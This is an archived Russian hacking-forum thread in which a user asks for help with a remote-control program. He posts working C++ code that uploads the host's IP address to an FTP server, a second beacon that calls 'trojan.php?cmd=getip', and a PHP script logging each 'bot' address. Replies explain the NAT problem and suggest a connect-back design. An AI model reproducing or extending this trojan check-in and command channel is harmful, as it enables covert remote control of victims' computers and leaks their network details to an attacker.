Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Проблема с установкой связи (сокеты, C++)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Проблема с установкой связи (сокеты, C++)
Имя
Сообщение << Старые топики   Новые топики >>
Проблема с установкой связи (сокеты, C++) - 2008-02-01 01:41:57.470000   
voody

Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
Всем привет. Есть некая программа с большим количеством функций. Вот небольшой кусок из ее кода:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;vcl.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;stdio.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;winsock.h&gt;
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char WinDir[MAX_PATH];
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // …
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetWindowsDirectory(WinDir, sizeof(WinDir));
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // …
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char out[128];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WSADATA wsaData;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!WSAStartup(MAKEWORD(1, 1), &amp;wsaData)){char chInfo[64];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!gethostname(chInfo, sizeof(chInfo)))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hostent *sh;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sh=gethostbyname((char*)&amp;chInfo);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (sh!=NULL)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int nAdapter = 0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (sh-&gt;h_addr_list[nAdapter])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct sockaddr_in adr;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(&amp;adr.sin_addr, sh-&gt;h_addr_list[nAdapter], sh-&gt;h_length);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(out, inet_ntoa(adr.sin_addr));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nAdapter++;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WSACleanup();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FILE *ip_file = fopen((AnsiString(WinDir) + "\\ip_file.txt").c_str(), "w");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fputs(out, ip_file);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fclose(ip_file);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HINTERNET hInternet = InternetOpen("MyFTPClient", 0, NULL, NULL, 0);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HINTERNET MySite = InternetConnect(hInternet, "ftp.narod.ru", 21, "***", "***", 1, 0, 0);&nbsp;// "***", "***" -&nbsp;пароль с логином опустим ….
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FtpPutFile(MySite, (AnsiString(WinDir) + "\\ip_file.txt").c_str(), (FormatDateTime("dd.mm.yy_hh.nn.ss", Now()) + ".txt").c_str(), 1, 0);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; InternetCloseHandle(MySite);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; InternetCloseHandle(hInternet);
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // …
 
Таким способом она отправляет IP-адрес компьютера в текстовом файле на FTP-сервер. После этого, она начинает слушать порт и принимать входящие подключения. Теперь, в чем заключается проблема. Есть вторая программа, которая соединяется с первой и отсылает ей команды. Так вот, при попытке соединения с некоторыми людьми, (именно, с некоторыми, их&nbsp;не так уж много)&nbsp;появляется ошибка. Т.е., я указываю Ip-адрес, переданный кодом, написанным выше и пытаюсь подключиться, но, соединение установить не удается! Хочу заметить, что большинство из этих людей, с кем я не могу соединиться - живут в других городах и пользуются другими провайдерами. Кто может подсказать, как решить эту проблему? Или, возможно, подскажет другой метод передачи комманд от одной программы к другой, без использование прямого соединения с помощью сокетов, между ними? Заранее благодарен всем откликнувшимся.
 
 
Post #: 1
RE: Проблема с установкой связи (сокеты, C++) - 2008-02-01 16:47:13.486666   
necrostaz

Сообщений: 172
Оценки: 0
Присоединился: 2007-02-27 15:54:59.460000
блин конечно, ты получаешь адреса связанные с конкретными сетевыми интерфейсами, установленными на конкретной машине пользователя -> внутренние адреса, речи о соединении с компом вне локальной сети или подсети провайдера и быть не может
Post #: 2
RE: Проблема с установкой связи (сокеты, C++) - 2008-02-01 18:25:14.250000   
voody

Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
Да, что-то я ступил немного. Писал пост во втором часу ночи, башка не варила уже. Внешние/внутренние ip-адреса … Точно. Но, это проблемы не решает. Как по-другому можно передавать информацию от одной машины к другой по интернету? Ведь, выход в интернет у машины есть. Можно, конечно, поднять свой сервер в инете, через который две проги будут обмениваться данными - но это потребует кучу времени и сил. Может быть, есть что-то более удобное?
Post #: 3
RE: Проблема с установкой связи (сокеты, C++) - 2008-02-01 18:48:46.550000   
necrostaz

Сообщений: 172
Оценки: 0
Присоединился: 2007-02-27 15:54:59.460000
quote:

Как по-другому можно передавать информацию от одной машины к другой по интернету?
Зачем же по-другому, сокеты - отличная технология. Просто нужно коннектиться к нужным ип, а способов узнать внешний - миллион.
Посмотри здесь например. Хотя ИМХО у тебя немного кривоватая архитектура, вместо того чтоб определять адрес и отправлять его на фтп и ждать после этого подключения, прога может с таймаутом сразу коннектиться к тебе.
Post #: 4
RE: Проблема с установкой связи (сокеты, C++) - 2008-02-01 20:21:31.926666   
goldstarKZ

Сообщений: 122
Оценки: 0
Присоединился: 2008-01-16 19:02:41.643333
quote:

прога может с таймаутом сразу коннектиться к тебе.

А как расковыряют твою прогу…
Post #: 5
RE: Проблема с установкой связи (сокеты, C++) - 2008-02-02 00:50:31.603333   
voody

Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
quote:

Зачем же по-другому, сокеты - отличная технология. Просто нужно коннектиться к нужным ип

Конбэк имеешь в виду? И куда же он будет коннектиться? У меня ADSL, ip динамический. Или, вопрос опять сводится к поднятию своего сервера в интернете?
quote:

А как расковыряют твою прогу…
- это тоже. Не думаю, конечно, что кто-то будет ее ковырять. Но, тем не менее.
quote:

Хотя ИМХО у тебя немного кривоватая архитектура, вместо того чтоб определять адрес и отправлять его на фтп и ждать после этого подключения

Это не суть. Я делал и по-другому (код ниже). Результат, все-равно, такой же.

Кусок проги (C++):

char Request[] = "GET /trojan.php?cmd=getip HTTP/1.0\n"
"Host: ***\n" //*** - адрес любого сайта
"Referer: http://www.google.ru/\n"
"Content-Type: application/x-www-form-urlencoded\n"
"Content-Length: 9\n\n";

WSADATA wsaData;
SOCKADDR_IN socketaddr;

WSAStartup(MAKEWORD(1,1), &wsaData);
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

struct hostent *Server = gethostbyname("***"); //*** - тот же сайт

socketaddr.sin_family = AF_INET;
socketaddr.sin_addr.s_addr = ((struct in_addr *)Server-&gt;h_addr_list[0])-&gt;s_addr;
socketaddr.sin_port = htons(80);

connect(sock, (sockaddr *)&socketaddr, sizeof(socketaddr));
if (send(sock, Request, strlen(Request), 0) &lt;= 0) WSACleanup();
closesocket(sock);


Скрипт (PHP):

&lt;?php
$logfile = 'ip.txt';
if (count($_GET) == 1) {
if (isset($_GET['cmd'])) {
$bot = 'REMOTE_ADDR: &lt;b&gt;'.$_SERVER['REMOTE_ADDR'].'&lt;/b&gt;&lt;br&gt;Date: &lt;b&gt;'.date('d.m.Y').'&lt;/b&gt;&lt;br&gt;Time: &lt;b&gt;';
$bot .= date('H:i:s').'&lt;/b&gt;&lt;br&gt;Forward for: &lt;b&gt;';
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $bot .= $_SERVER['HTTP_X_FORWARDED_FOR'].'&lt;/b&gt;';
else $bot .= 'None&lt;/b&gt;';
$bot .= '&lt;br&gt;&lt;br&gt;';
$log = fopen($logfile, 'a');
fwrite($log, "$bot\r\n");
fclose($log);
}
if (isset($_GET['clearlog'])) {
unlink($logfile);
echo 'Лог удален.&lt;p align="center"&gt;&lt;a href="JavaScript:history.back();"&gt;Назад&lt;/a&gt;&lt;/p&gt;';
}
}
else {
if (file_exists($logfile)) readfile($logfile);
else echo('Лог пуст!');
}
?&gt;
Post #: 6
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Проблема с установкой связи (сокеты, C++)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.